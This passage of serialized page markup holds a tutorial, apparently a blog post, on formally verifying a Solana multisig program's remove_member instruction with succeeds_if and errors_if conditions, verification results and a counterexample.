remove_member",{"type":24,"tag":83,"props":25516,"children":25517},{"style":107},[25518],{"type":29,"value":558},{"type":24,"tag":83,"props":25520,"children":25521},{"style":137},[25522],{"type":29,"value":20021},{"type":24,"tag":83,"props":25524,"children":25525},{"style":143},[25526],{"type":29,"value":195},{"type":24,"tag":83,"props":25528,"children":25529},{"style":3163},[25530],{"type":29,"value":20030},{"type":24,"tag":83,"props":25532,"children":25533},{"style":107},[25534],{"type":29,"value":5552},{"type":24,"tag":83,"props":25536,"children":25537},{"style":3163},[25538],{"type":29,"value":25539},"MsAuth",{"type":24,"tag":83,"props":25541,"children":25542},{"style":107},[25543],{"type":29,"value":6377},{"type":24,"tag":83,"props":25545,"children":25546},{"style":137},[25547],{"type":29,"value":25548},"old_member",{"type":24,"tag":83,"props":25550,"children":25551},{"style":143},[25552],{"type":29,"value":195},{"type":24,"tag":83,"props":25554,"children":25555},{"style":3163},[25556],{"type":29,"value":20597},{"type":24,"tag":83,"props":25558,"children":25559},{"style":107},[25560],{"type":29,"value":633},{"type":24,"tag":83,"props":25562,"children":25563},{"style":143},[25564],{"type":29,"value":13502},{"type":24,"tag":83,"props":25566,"children":25567},{"style":3163},[25568],{"type":29,"value":13507},{"type":24,"tag":83,"props":25570,"children":25571},{"style":107},[25572],{"type":29,"value":20072},{"type":24,"tag":83,"props":25574,"children":25575},{"class":85,"line":449},[25576],{"type":24,"tag":83,"props":25577,"children":25578},{"style":2735},[25579],{"type":29,"value":25580},"    // if there is only one key in this multisig, reject the removal\n",{"type":24,"tag":83,"props":25582,"children":25583},{"class":85,"line":458},[25584,25588,25593,25597,25601,25605,25609,25613,25617,25621,25625,25629,25633,25637],{"type":24,"tag":83,"props":25585,"children":25586},{"style":117},[25587],{"type":29,"value":218},{"type":24,"tag":83,"props":25589,"children":25590},{"style":137},[25591],{"type":29,"value":25592}," ctx",{"type":24,"tag":83,"props":25594,"children":25595},{"style":143},[25596],{"type":29,"value":161},{"type":24,"tag":83,"props":25598,"children":25599},{"style":107},[25600],{"type":29,"value":14418},{"type":24,"tag":83,"props":25602,"children":25603},{"style":143},[25604],{"type":29,"value":161},{"type":24,"tag":83,"props":25606,"children":25607},{"style":107},[25608],{"type":29,"value":23555},{"type":24,"tag":83,"props":25610,"children":25611},{"style":143},[25612],{"type":29,"value":161},{"type":24,"tag":83,"props":25614,"children":25615},{"style":107},[25616],{"type":29,"value":20723},{"type":24,"tag":83,"props":25618,"children":25619},{"style":143},[25620],{"type":29,"value":161},{"type":24,"tag":83,"props":25622,"children":25623},{"style":101},[25624],{"type":29,"value":8885},{"type":24,"tag":83,"props":25626,"children":25627},{"style":107},[25628],{"type":29,"value":13788},{"type":24,"tag":83,"props":25630,"children":25631},{"style":143},[25632],{"type":29,"value":8320},{"type":24,"tag":83,"props":25634,"children":25635},{"style":245},[25636],{"type":29,"value":295},{"type":24,"tag":83,"props":25638,"children":25639},{"style":107},[25640],{"type":29,"value":125},{"type":24,"tag":83,"props":25642,"children":25643},{"class":85,"line":1065},[25644,25648,25652,25656,25660,25664,25669],{"type":24,"tag":83,"props":25645,"children":25646},{"style":117},[25647],{"type":29,"value":15482},{"type":24,"tag":83,"props":25649,"children":25650},{"style":101},[25651],{"type":29,"value":23258},{"type":24,"tag":83,"props":25653,"children":25654},{"style":107},[25655],{"type":29,"value":558},{"type":24,"tag":83,"props":25657,"children":25658},{"style":3163},[25659],{"type":29,"value":23267},{"type":24,"tag":83,"props":25661,"children":25662},{"style":143},[25663],{"type":29,"value":3226},{"type":24,"tag":83,"props":25665,"children":25666},{"style":3163},[25667],{"type":29,"value":25668},"CannotRemoveSoloMember",{"type":24,"tag":83,"props":25670,"children":25671},{"style":107},[25672],{"type":29,"value":581},{"type":24,"tag":83,"props":25674,"children":25675},{"class":85,"line":1668},[25676],{"type":24,"tag":83,"props":25677,"children":25678},{"style":107},[25679],{"type":29,"value":446},{"type":24,"tag":83,"props":25681,"children":25682},{"class":85,"line":1713},[25683,25687,25691,25695,25699,25703,25707,25711,25715,25719,25723,25727],{"type":24,"tag":83,"props":25684,"children":25685},{"style":137},[25686],{"type":29,"value":19964},{"type":24,"tag":83,"props":25688,"children":25689},{"style":143},[25690],{"type":29,"value":161},{"type":24,"tag":83,"props":25692,"children":25693},{"style":107},[25694],{"type":29,"value":14418},{"type":24,"tag":83,"props":25696,"children":25697},{"style":143},[25698],{"type":29,"value":161},{"type":24,"tag":83,"props":25700,"children":25701},{"style":107},[25702],{"type":29,"value":23555},{"type":24,"tag":83,"props":25704,"children":25705},{"style":143},[25706],{"type":29,"value":161},{"type":24,"tag":83,"props":25708,"children":25709},{"style":101},[25710],{"type":29,"value":25216},{"type":24,"tag":83,"props":25712,"children":25713},{"style":107},[25714],{"type":29,"value":558},{"type":24,"tag":83,"props":25716,"children":25717},{"style":137},[25718],{"type":29,"value":25548},{"type":24,"tag":83,"props":25720,"children":25721},{"style":107},[25722],{"type":29,"value":2872},{"type":24,"tag":83,"props":25724,"children":25725},{"style":143},[25726],{"type":29,"value":2900},{"type":24,"tag":83,"props":25728,"children":25729},{"style":107},[25730],{"type":29,"value":321},{"type":24,"tag":83,"props":25732,"children":25733},{"class":85,"line":1730},[25734],{"type":24,"tag":83,"props":25735,"children":25736},{"emptyLinePlaceholder":16},[25737],{"type":29,"value":3422},{"type":24,"tag":83,"props":25739,"children":25740},{"class":85,"line":1770},[25741],{"type":24,"tag":83,"props":25742,"children":25743},{"style":2735},[25744],{"type":29,"value":25745},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":24,"tag":83,"props":25747,"children":25748},{"class":85,"line":1778},[25749,25753,25757,25761,25765,25769,25773,25777,25781,25785,25789,25794,25798,25802,25806,25810,25814,25818,25822,25826,25830,25834],{"type":24,"tag":83,"props":25750,"children":25751},{"style":117},[25752],{"type":29,"value":218},{"type":24,"tag":83,"props":25754,"children":25755},{"style":137},[25756],{"type":29,"value":25592},{"type":24,"tag":83,"props":25758,"children":25759},{"style":143},[25760],{"type":29,"value":161},{"type":24,"tag":83,"props":25762,"children":25763},{"style":107},[25764],{"type":29,"value":14418},{"type":24,"tag":83,"props":25766,"children":25767},{"style":143},[25768],{"type":29,"value":161},{"type":24,"tag":83,"props":25770,"children":25771},{"style":107},[25772],{"type":29,"value":23555},{"type":24,"tag":83,"props":25774,"children":25775},{"style":143},[25776],{"type":29,"value":161},{"type":24,"tag":83,"props":25778,"children":25779},{"style":107},[25780],{"type":29,"value":20723},{"type":24,"tag":83,"props":25782,"children":25783},{"style":143},[25784],{"type":29,"value":161},{"type":24,"tag":83,"props":25786,"children":25787},{"style":101},[25788],{"type":29,"value":8885},{"type":24,"tag":83,"props":25790,"children":25791},{"style":107},[25792],{"type":29,"value":25793},"() \u003C ",{"type":24,"tag":83,"props":25795,"children":25796},{"style":3163},[25797],{"type":29,"value":16336},{"type":24,"tag":83,"props":25799,"children":25800},{"style":143},[25801],{"type":29,"value":3226},{"type":24,"tag":83,"props":25803,"children":25804},{"style":101},[25805],{"type":29,"value":19213},{"type":24,"tag":83,"props":25807,"children":25808},{"style":107},[25809],{"type":29,"value":558},{"type":24,"tag":83,"props":25811,"children":25812},{"style":137},[25813],{"type":29,"value":20021},{"type":24,"tag":83,"props":25815,"children":25816},{"style":143},[25817],{"type":29,"value":161},{"type":24,"tag":83,"props":25819,"children":25820},{"style":107},[25821],{"type":29,"value":14418},{"type":24,"tag":83,"props":25823,"children":25824},{"style":143},[25825],{"type":29,"value":161},{"type":24,"tag":83,"props":25827,"children":25828},{"style":107},[25829],{"type":29,"value":23555},{"type":24,"tag":83,"props":25831,"children":25832},{"style":143},[25833],{"type":29,"value":161},{"type":24,"tag":83,"props":25835,"children":25836},{"style":107},[25837],{"type":29,"value":25838},"threshold) {\n",{"type":24,"tag":83,"props":25840,"children":25841},{"class":85,"line":1803},[25842,25846,25851,25855,25859,25863,25867,25871,25875,25879,25883,25887,25891,25895,25899,25903,25907,25912,25916,25920,25924],{"type":24,"tag":83,"props":25843,"children":25844},{"style":90},[25845],{"type":29,"value":2809},{"type":24,"tag":83,"props":25847,"children":25848},{"style":137},[25849],{"type":29,"value":25850}," new_threshold",{"type":24,"tag":83,"props":25852,"children":25853},{"style":143},[25854],{"type":29,"value":195},{"type":24,"tag":83,"props":25856,"children":25857},{"style":3163},[25858],{"type":29,"value":20770},{"type":24,"tag":83,"props":25860,"children":25861},{"style":143},[25862],{"type":29,"value":146},{"type":24,"tag":83,"props":25864,"children":25865},{"style":137},[25866],{"type":29,"value":25592},{"type":24,"tag":83,"props":25868,"children":25869},{"style":143},[25870],{"type":29,"value":161},{"type":24,"tag":83,"props":25872,"children":25873},{"style":107},[25874],{"type":29,"value":14418},{"type":24,"tag":83,"props":25876,"children":25877},{"style":143},[25878],{"type":29,"value":161},{"type":24,"tag":83,"props":25880,"children":25881},{"style":107},[25882],{"type":29,"value":23555},{"type":24,"tag":83,"props":25884,"children":25885},{"style":143},[25886],{"type":29,"value":161},{"type":24,"tag":83,"props":25888,"children":25889},{"style":107},[25890],{"type":29,"value":20723},{"type":24,"tag":83,"props":25892,"children":25893},{"style":143},[25894],{"type":29,"value":161},{"type":24,"tag":83,"props":25896,"children":25897},{"style":101},[25898],{"type":29,"value":8885},{"type":24,"tag":83,"props":25900,"children":25901},{"style":107},[25902],{"type":29,"value":13624},{"type":24,"tag":83,"props":25904,"children":25905},{"style":143},[25906],{"type":29,"value":161},{"type":24,"tag":83,"props":25908,"children":25909},{"style":101},[25910],{"type":29,"value":25911},"try_into",{"type":24,"tag":83,"props":25913,"children":25914},{"style":107},[25915],{"type":29,"value":13624},{"type":24,"tag":83,"props":25917,"children":25918},{"style":143},[25919],{"type":29,"value":161},{"type":24,"tag":83,"props":25921,"children":25922},{"style":101},[25923],{"type":29,"value":3410},{"type":24,"tag":83,"props":25925,"children":25926},{"style":107},[25927],{"type":29,"value":267},{"type":24,"tag":83,"props":25929,"children":25930},{"class":85,"line":1811},[25931,25936,25940,25944,25948,25952,25956,25961,25965,25970,25974,25978],{"type":24,"tag":83,"props":25932,"children":25933},{"style":137},[25934],{"type":29,"value":25935},"        ctx",{"type":24,"tag":83,"props":25937,"children":25938},{"style":143},[25939],{"type":29,"value":161},{"type":24,"tag":83,"props":25941,"children":25942},{"style":107},[25943],{"type":29,"value":14418},{"type":24,"tag":83,"props":25945,"children":25946},{"style":143},[25947],{"type":29,"value":161},{"type":24,"tag":83,"props":25949,"children":25950},{"style":107},[25951],{"type":29,"value":23555},{"type":24,"tag":83,"props":25953,"children":25954},{"style":143},[25955],{"type":29,"value":161},{"type":24,"tag":83,"props":25957,"children":25958},{"style":101},[25959],{"type":29,"value":25960},"change_threshold",{"type":24,"tag":83,"props":25962,"children":25963},{"style":107},[25964],{"type":29,"value":558},{"type":24,"tag":83,"props":25966,"children":25967},{"style":137},[25968],{"type":29,"value":25969},"new_threshold",{"type":24,"tag":83,"props":25971,"children":25972},{"style":107},[25973],{"type":29,"value":2872},{"type":24,"tag":83,"props":25975,"children":25976},{"style":143},[25977],{"type":29,"value":2900},{"type":24,"tag":83,"props":25979,"children":25980},{"style":107},[25981],{"type":29,"value":321},{"type":24,"tag":83,"props":25983,"children":25984},{"class":85,"line":8792},[25985],{"type":24,"tag":83,"props":25986,"children":25987},{"style":107},[25988],{"type":29,"value":446},{"type":24,"tag":83,"props":25990,"children":25991},{"class":85,"line":8810},[25992,25996,26001,26005,26009,26013,26017,26021,26025,26029],{"type":24,"tag":83,"props":25993,"children":25994},{"style":90},[25995],{"type":29,"value":2746},{"type":24,"tag":83,"props":25997,"children":25998},{"style":137},[25999],{"type":29,"value":26000}," new_index",{"type":24,"tag":83,"props":26002,"children":26003},{"style":143},[26004],{"type":29,"value":146},{"type":24,"tag":83,"props":26006,"children":26007},{"style":137},[26008],{"type":29,"value":25592},{"type":24,"tag":83,"props":26010,"children":26011},{"style":143},[26012],{"type":29,"value":161},{"type":24,"tag":83,"props":26014,"children":26015},{"style":107},[26016],{"type":29,"value":14418},{"type":24,"tag":83,"props":26018,"children":26019},{"style":143},[26020],{"type":29,"value":161},{"type":24,"tag":83,"props":26022,"children":26023},{"style":107},[26024],{"type":29,"value":23555},{"type":24,"tag":83,"props":26026,"children":26027},{"style":143},[26028],{"type":29,"value":161},{"type":24,"tag":83,"props":26030,"children":26031},{"style":107},[26032],{"type":29,"value":26033},"transaction_index;\n",{"type":24,"tag":83,"props":26035,"children":26036},{"class":85,"line":8855},[26037,26041,26045,26049,26053,26057,26061,26066,26070,26075],{"type":24,"tag":83,"props":26038,"children":26039},{"style":137},[26040],{"type":29,"value":19964},{"type":24,"tag":83,"props":26042,"children":26043},{"style":143},[26044],{"type":29,"value":161},{"type":24,"tag":83,"props":26046,"children":26047},{"style":107},[26048],{"type":29,"value":14418},{"type":24,"tag":83,"props":26050,"children":26051},{"style":143},[26052],{"type":29,"value":161},{"type":24,"tag":83,"props":26054,"children":26055},{"style":107},[26056],{"type":29,"value":23555},{"type":24,"tag":83,"props":26058,"children":26059},{"style":143},[26060],{"type":29,"value":161},{"type":24,"tag":83,"props":26062,"children":26063},{"style":101},[26064],{"type":29,"value":26065},"set_change_index",{"type":24,"tag":83,"props":26067,"children":26068},{"style":107},[26069],{"type":29,"value":558},{"type":24,"tag":83,"props":26071,"children":26072},{"style":137},[26073],{"type":29,"value":26074},"new_index",{"type":24,"tag":83,"props":26076,"children":26077},{"style":107},[26078],{"type":29,"value":2905},{"type":24,"tag":83,"props":26080,"children":26081},{"class":85,"line":8961},[26082],{"type":24,"tag":83,"props":26083,"children":26084},{"style":107},[26085],{"type":29,"value":464},{"type":24,"tag":25,"props":26087,"children":26088},{},[26089,26091,26096],{"type":29,"value":26090},"First let's establish the ",{"type":24,"tag":32,"props":26092,"children":26094},{"className":26093},[],[26095],{"type":29,"value":19895},{"type":29,"value":26097}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":24,"tag":73,"props":26099,"children":26101},{"code":26100,"language":2724,"meta":7,"className":2725,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[26102],{"type":24,"tag":32,"props":26103,"children":26104},{"__ignoreMap":7},[26105,26112,26159,26166],{"type":24,"tag":83,"props":26106,"children":26107},{"class":85,"line":86},[26108],{"type":24,"tag":83,"props":26109,"children":26110},{"style":107},[26111],{"type":29,"value":23862},{"type":24,"tag":83,"props":26113,"children":26114},{"class":85,"line":113},[26115,26119,26123,26127,26131,26135,26139,26143,26147,26151,26155],{"type":24,"tag":83,"props":26116,"children":26117},{"style":107},[26118],{"type":29,"value":19964},{"type":24,"tag":83,"props":26120,"children":26121},{"style":143},[26122],{"type":29,"value":161},{"type":24,"tag":83,"props":26124,"children":26125},{"style":107},[26126],{"type":29,"value":14418},{"type":24,"tag":83,"props":26128,"children":26129},{"style":143},[26130],{"type":29,"value":161},{"type":24,"tag":83,"props":26132,"children":26133},{"style":107},[26134],{"type":29,"value":23555},{"type":24,"tag":83,"props":26136,"children":26137},{"style":143},[26138],{"type":29,"value":161},{"type":24,"tag":83,"props":26140,"children":26141},{"style":107},[26142],{"type":29,"value":20723},{"type":24,"tag":83,"props":26144,"children":26145},{"style":143},[26146],{"type":29,"value":161},{"type":24,"tag":83,"props":26148,"children":26149},{"style":107},[26150],{"type":29,"value":20761},{"type":24,"tag":83,"props":26152,"children":26153},{"style":143},[26154],{"type":29,"value":10209},{"type":24,"tag":83,"props":26156,"children":26157},{"style":107},[26158],{"type":29,"value":19182},{"type":24,"tag":83,"props":26160,"children":26161},{"class":85,"line":128},[26162],{"type":24,"tag":83,"props":26163,"children":26164},{"style":107},[26165],{"type":29,"value":19999},{"type":24,"tag":83,"props":26167,"children":26168},{"class":85,"line":183},[26169,26173,26177,26181,26185,26189,26193],{"type":24,"tag":83,"props":26170,"children":26171},{"style":90},[26172],{"type":29,"value":20007},{"type":24,"tag":83,"props":26174,"children":26175},{"style":101},[26176],{"type":29,"value":25514},{"type":24,"tag":83,"props":26178,"children":26179},{"style":107},[26180],{"type":29,"value":558},{"type":24,"tag":83,"props":26182,"children":26183},{"style":143},[26184],{"type":29,"value":509},{"type":24,"tag":83,"props":26186,"children":26187},{"style":107},[26188],{"type":29,"value":23739},{"type":24,"tag":83,"props":26190,"children":26191},{"style":143},[26192],{"type":29,"value":509},{"type":24,"tag":83,"props":26194,"children":26195},{"style":107},[26196],{"type":29,"value":9342},{"type":24,"tag":25,"props":26198,"children":26199},{},[26200,26202,26207],{"type":29,"value":26201},"And for now let's remove the invariant on the ",{"type":24,"tag":32,"props":26203,"children":26205},{"className":26204},[],[26206],{"type":29,"value":22481},{"type":29,"value":26208}," account:",{"type":24,"tag":73,"props":26210,"children":26212},{"code":26211,"language":2724,"meta":7,"className":2725,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[26213],{"type":24,"tag":32,"props":26214,"children":26215},{"__ignoreMap":7},[26216,26224],{"type":24,"tag":83,"props":26217,"children":26218},{"class":85,"line":86},[26219],{"type":24,"tag":83,"props":26220,"children":26221},{"style":107},[26222],{"type":29,"value":26223},"#[invariant()]\n",{"type":24,"tag":83,"props":26225,"children":26226},{"class":85,"line":113},[26227,26231,26235,26239,26243,26247],{"type":24,"tag":83,"props":26228,"children":26229},{"style":90},[26230],{"type":29,"value":13435},{"type":24,"tag":83,"props":26232,"children":26233},{"style":90},[26234],{"type":29,"value":20891},{"type":24,"tag":83,"props":26236,"children":26237},{"style":3163},[26238],{"type":29,"value":20896},{"type":24,"tag":83,"props":26240,"children":26241},{"style":107},[26242],{"type":29,"value":9333},{"type":24,"tag":83,"props":26244,"children":26245},{"style":143},[26246],{"type":29,"value":509},{"type":24,"tag":83,"props":26248,"children":26249},{"style":107},[26250],{"type":29,"value":9342},{"type":24,"tag":25,"props":26252,"children":26253},{},[26254],{"type":29,"value":26255},"Let's test this!",{"type":24,"tag":25,"props":26257,"children":26258},{},[26259,26261,26266],{"type":29,"value":26260},"Our ",{"type":24,"tag":32,"props":26262,"children":26264},{"className":26263},[],[26265],{"type":29,"value":19895},{"type":29,"value":26267}," harness produces:",{"type":24,"tag":73,"props":26269,"children":26271},{"code":26270},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[26272],{"type":24,"tag":32,"props":26273,"children":26274},{"__ignoreMap":7},[26275],{"type":29,"value":26270},{"type":24,"tag":25,"props":26277,"children":26278},{},[26279],{"type":29,"value":26280},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":24,"tag":25,"props":26282,"children":26283},{},[26284,26286,26291],{"type":29,"value":26285},"However, remember that since ",{"type":24,"tag":32,"props":26287,"children":26289},{"className":26288},[],[26290],{"type":29,"value":19895},{"type":29,"value":26292}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":24,"tag":25,"props":26294,"children":26295},{},[26296,26298,26303,26305,26310,26312,26317],{"type":29,"value":26297},"Suppose we want to be sure that this condition is the ",{"type":24,"tag":2655,"props":26299,"children":26300},{},[26301],{"type":29,"value":26302},"only condition",{"type":29,"value":26304}," in which the function will succeed (i.e. ",{"type":24,"tag":2655,"props":26306,"children":26307},{},[26308],{"type":29,"value":26309},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":26311},"). We could attempt to verify the other side of this with an ",{"type":24,"tag":32,"props":26313,"children":26315},{"className":26314},[],[26316],{"type":29,"value":19902},{"type":29,"value":26318}," macro such as:",{"type":24,"tag":73,"props":26320,"children":26322},{"code":26321,"language":2724,"meta":7,"className":2725,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[26323],{"type":24,"tag":32,"props":26324,"children":26325},{"__ignoreMap":7},[26326,26333,26380,26387,26394,26441,26448],{"type":24,"tag":83,"props":26327,"children":26328},{"class":85,"line":86},[26329],{"type":24,"tag":83,"props":26330,"children":26331},{"style":107},[26332],{"type":29,"value":23862},{"type":24,"tag":83,"props":26334,"children":26335},{"class":85,"line":113},[26336,26340,26344,26348,26352,26356,26360,26364,26368,26372,26376],{"type":24,"tag":83,"props":26337,"children":26338},{"style":107},[26339],{"type":29,"value":19964},{"type":24,"tag":83,"props":26341,"children":26342},{"style":143},[26343],{"type":29,"value":161},{"type":24,"tag":83,"props":26345,"children":26346},{"style":107},[26347],{"type":29,"value":14418},{"type":24,"tag":83,"props":26349,"children":26350},{"style":143},[26351],{"type":29,"value":161},{"type":24,"tag":83,"props":26353,"children":26354},{"style":107},[26355],{"type":29,"value":23555},{"type":24,"tag":83,"props":26357,"children":26358},{"style":143},[26359],{"type":29,"value":161},{"type":24,"tag":83,"props":26361,"children":26362},{"style":107},[26363],{"type":29,"value":20723},{"type":24,"tag":83,"props":26365,"children":26366},{"style":143},[26367],{"type":29,"value":161},{"type":24,"tag":83,"props":26369,"children":26370},{"style":107},[26371],{"type":29,"value":20761},{"type":24,"tag":83,"props":26373,"children":26374},{"style":143},[26375],{"type":29,"value":10209},{"type":24,"tag":83,"props":26377,"children":26378},{"style":107},[26379],{"type":29,"value":19182},{"type":24,"tag":83,"props":26381,"children":26382},{"class":85,"line":128},[26383],{"type":24,"tag":83,"props":26384,"children":26385},{"style":107},[26386],{"type":29,"value":19999},{"type":24,"tag":83,"props":26388,"children":26389},{"class":85,"line":183},[26390],{"type":24,"tag":83,"props":26391,"children":26392},{"style":107},[26393],{"type":29,"value":19956},{"type":24,"tag":83,"props":26395,"children":26396},{"class":85,"line":203},[26397,26401,26405,26409,26413,26417,26421,26425,26429,26433,26437],{"type":24,"tag":83,"props":26398,"children":26399},{"style":107},[26400],{"type":29,"value":19964},{"type":24,"tag":83,"props":26402,"children":26403},{"style":143},[26404],{"type":29,"value":161},{"type":24,"tag":83,"props":26406,"children":26407},{"style":107},[26408],{"type":29,"value":14418},{"type":24,"tag":83,"props":26410,"children":26411},{"style":143},[26412],{"type":29,"value":161},{"type":24,"tag":83,"props":26414,"children":26415},{"style":107},[26416],{"type":29,"value":23555},{"type":24,"tag":83,"props":26418,"children":26419},{"style":143},[26420],{"type":29,"value":161},{"type":24,"tag":83,"props":26422,"children":26423},{"style":107},[26424],{"type":29,"value":20723},{"type":24,"tag":83,"props":26426,"children":26427},{"style":143},[26428],{"type":29,"value":161},{"type":24,"tag":83,"props":26430,"children":26431},{"style":107},[26432],{"type":29,"value":20761},{"type":24,"tag":83,"props":26434,"children":26435},{"style":143},[26436],{"type":29,"value":19154},{"type":24,"tag":83,"props":26438,"children":26439},{"style":107},[26440],{"type":29,"value":19182},{"type":24,"tag":83,"props":26442,"children":26443},{"class":85,"line":212},[26444],{"type":24,"tag":83,"props":26445,"children":26446},{"style":107},[26447],{"type":29,"value":19999},{"type":24,"tag":83,"props":26449,"children":26450},{"class":85,"line":256},[26451,26455,26459,26463,26467,26471,26475],{"type":24,"tag":83,"props":26452,"children":26453},{"style":90},[26454],{"type":29,"value":20007},{"type":24,"tag":83,"props":26456,"children":26457},{"style":101},[26458],{"type":29,"value":25514},{"type":24,"tag":83,"props":26460,"children":26461},{"style":107},[26462],{"type":29,"value":558},{"type":24,"tag":83,"props":26464,"children":26465},{"style":143},[26466],{"type":29,"value":509},{"type":24,"tag":83,"props":26468,"children":26469},{"style":107},[26470],{"type":29,"value":23739},{"type":24,"tag":83,"props":26472,"children":26473},{"style":143},[26474],{"type":29,"value":509},{"type":24,"tag":83,"props":26476,"children":26477},{"style":107},[26478],{"type":29,"value":9342},{"type":24,"tag":25,"props":26480,"children":26481},{},[26482,26484,26489],{"type":29,"value":26483},"Let's test this, we just need to run the new ",{"type":24,"tag":32,"props":26485,"children":26487},{"className":26486},[],[26488],{"type":29,"value":19902},{"type":29,"value":26490}," harness:",{"type":24,"tag":73,"props":26492,"children":26494},{"code":26493},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[26495],{"type":24,"tag":32,"props":26496,"children":26497},{"__ignoreMap":7},[26498],{"type":29,"value":26493},{"type":24,"tag":25,"props":26500,"children":26501},{},[26502],{"type":29,"value":26503},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":24,"tag":73,"props":26505,"children":26507},{"code":26506,"language":2724,"meta":7,"className":2725,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[26508],{"type":24,"tag":32,"props":26509,"children":26510},{"__ignoreMap":7},[26511,26522,26541,26560,26579,26598,26617,26636,26655,26674,26693,26713,26732,26739,26746,26773],{"type":24,"tag":83,"props":26512,"children":26513},{"class":85,"line":86},[26514,26518],{"type":24,"tag":83,"props":26515,"children":26516},{"style":3163},[26517],{"type":29,"value":16882},{"type":24,"tag":83,"props":26519,"children":26520},{"style":107},[26521],{"type":29,"value":125},{"type":24,"tag":83,"props":26523,"children":26524},{"class":85,"line":113},[26525,26529,26533,26537],{"type":24,"tag":83,"props":26526,"children":26527},{"style":137},[26528],{"type":29,"value":24922},{"type":24,"tag":83,"props":26530,"children":26531},{"style":143},[26532],{"type":29,"value":195},{"type":24,"tag":83,"props":26534,"children":26535},{"style":3163},[26536],{"type":29,"value":20896},{"type":24,"tag":83,"props":26538,"children":26539},{"style":107},[26540],{"type":29,"value":125},{"type":24,"tag":83,"props":26542,"children":26543},{"class":85,"line":128},[26544,26548,26552,26556],{"type":24,"tag":83,"props":26545,"children":26546},{"style":137},[26547],{"type":29,"value":23576},{"type":24,"tag":83,"props":26549,"children":26550},{"style":143},[26551],{"type":29,"value":195},{"type":24,"tag":83,"props":26553,"children":26554},{"style":245},[26555],{"type":29,"value":248},{"type":24,"tag":83,"props":26557,"children":26558},{"style":107},[26559],{"type":29,"value":989},{"type":24,"tag":83,"props":26561,"children":26562},{"class":85,"line":183},[26563,26567,26571,26575],{"type":24,"tag":83,"props":26564,"children":26565},{"style":137},[26566],{"type":29,"value":24962},{"type":24,"tag":83,"props":26568,"children":26569},{"style":143},[26570],{"type":29,"value":195},{"type":24,"tag":83,"props":26572,"children":26573},{"style":245},[26574],{"type":29,"value":248},{"type":24,"tag":83,"props":26576,"children":26577},{"style":107},[26578],{"type":29,"value":989},{"type":24,"tag":83,"props":26580,"children":26581},{"class":85,"line":203},[26582,26586,26590,26594],{"type":24,"tag":83,"props":26583,"children":26584},{"style":137},[26585],{"type":29,"value":24982},{"type":24,"tag":83,"props":26587,"children":26588},{"style":143},[26589],{"type":29,"value":195},{"type":24,"tag":83,"props":26591,"children":26592},{"style":245},[26593],{"type":29,"value":248},{"type":24,"tag":83,"props":26595,"children":26596},{"style":107},[26597],{"type":29,"value":989},{"type":24,"tag":83,"props":26599,"children":26600},{"class":85,"line":212},[26601,26605,26609,26613],{"type":24,"tag":83,"props":26602,"children":26603},{"style":137},[26604],{"type":29,"value":25002},{"type":24,"tag":83,"props":26606,"children":26607},{"style":143},[26608],{"type":29,"value":195},{"type":24,"tag":83,"props":26610,"children":26611},{"style":245},[26612],{"type":29,"value":248},{"type":24,"tag":83,"props":26614,"children":26615},{"style":107},[26616],{"type":29,"value":989},{"type":24,"tag":83,"props":26618,"children":26619},{"class":85,"line":256},[26620,26624,26628,26632],{"type":24,"tag":83,"props":26621,"children":26622},{"style":137},[26623],{"type":29,"value":25022},{"type":24,"tag":83,"props":26625,"children":26626},{"style":143},[26627],{"type":29,"value":195},{"type":24,"tag":83,"props":26629,"children":26630},{"style":245},[26631],{"type":29,"value":248},{"type":24,"tag":83,"props":26633,"children":26634},{"style":107},[26635],{"type":29,"value":989},{"type":24,"tag":83,"props":26637,"children":26638},{"class":85,"line":270},[26639,26643,26647,26651],{"type":24,"tag":83,"props":26640,"children":26641},{"style":137},[26642],{"type":29,"value":23589},{"type":24,"tag":83,"props":26644,"children":26645},{"style":143},[26646],{"type":29,"value":195},{"type":24,"tag":83,"props":26648,"children":26649},{"style":143},[26650],{"type":29,"value":25050},{"type":24,"tag":83,"props":26652,"children":26653},{"style":107},[26654],{"type":29,"value":989},{"type":24,"tag":83,"props":26656,"children":26657},{"class":85,"line":302},[26658,26662,26666,26670],{"type":24,"tag":83,"props":26659,"children":26660},{"style":137},[26661],{"type":29,"value":25062},{"type":24,"tag":83,"props":26663,"children":26664},{"style":143},[26665],{"type":29,"value":195},{"type":24,"tag":83,"props":26667,"children":26668},{"style":90},[26669],{"type":29,"value":8803},{"type":24,"tag":83,"props":26671,"children":26672},{"style":107},[26673],{"type":29,"value":989},{"type":24,"tag":83,"props":26675,"children":26676},{"class":85,"line":324},[26677,26681,26685,26689],{"type":24,"tag":83,"props":26678,"children":26679},{"style":137},[26680],{"type":29,"value":25082},{"type":24,"tag":83,"props":26682,"children":26683},{"style":143},[26684],{"type":29,"value":195},{"type":24,"tag":83,"props":26686,"children":26687},{"style":3163},[26688],{"type":29,"value":21129},{"type":24,"tag":83,"props":26690,"children":26691},{"style":107},[26692],{"type":29,"value":125},{"type":24,"tag":83,"props":26694,"children":26695},{"class":85,"line":345},[26696,26701,26705,26709],{"type":24,"tag":83,"props":26697,"children":26698},{"style":137},[26699],{"type":29,"value":26700},"            